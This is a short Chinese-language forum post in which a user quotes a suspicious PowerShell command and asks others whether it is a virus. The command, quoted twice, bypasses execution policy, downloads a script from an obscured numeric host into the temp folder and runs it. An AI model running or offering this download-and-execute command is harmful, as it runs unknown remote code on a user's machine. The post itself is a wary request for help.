# 一个通过 irm 下载执行的 PowerShell 可疑脚本

**URL:** <https://www.nodeloc.com/t/topic/111941>\
**Category:** 编程开发\
**Created:** [2026 年10 月 2 日 10:22 UTC](https://www.nodeloc.com/t/topic/111941 "2026-10-02T10:22:24Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

作者： ![yangshu](https://www.nodeloc.com/user_avatar/www.nodeloc.com/yangshu/32/79924_2.png) [@yangshu](https://www.nodeloc.com/u/yangshu)\
发布日期： [2026 年10 月 2 日 10:22 UTC](https://www.nodeloc.com/t/topic/111941/1 "2026-10-02T10:22:24Z")

</div>

大佬们,我发现一个可疑的命令  
powershell -ExecutionPolicy Bypass "irm 35387519/123 -OutFile $env:temp\123.ps1 -UseBasicParsing;& $env:temp\123.ps1"powershell -ExecutionPolicy Bypass “irm 35387519/123 -OutFile $env:temp\123.ps1 -UseBasicParsing;& $env:temp\123.ps1”  
看起来像是个病毒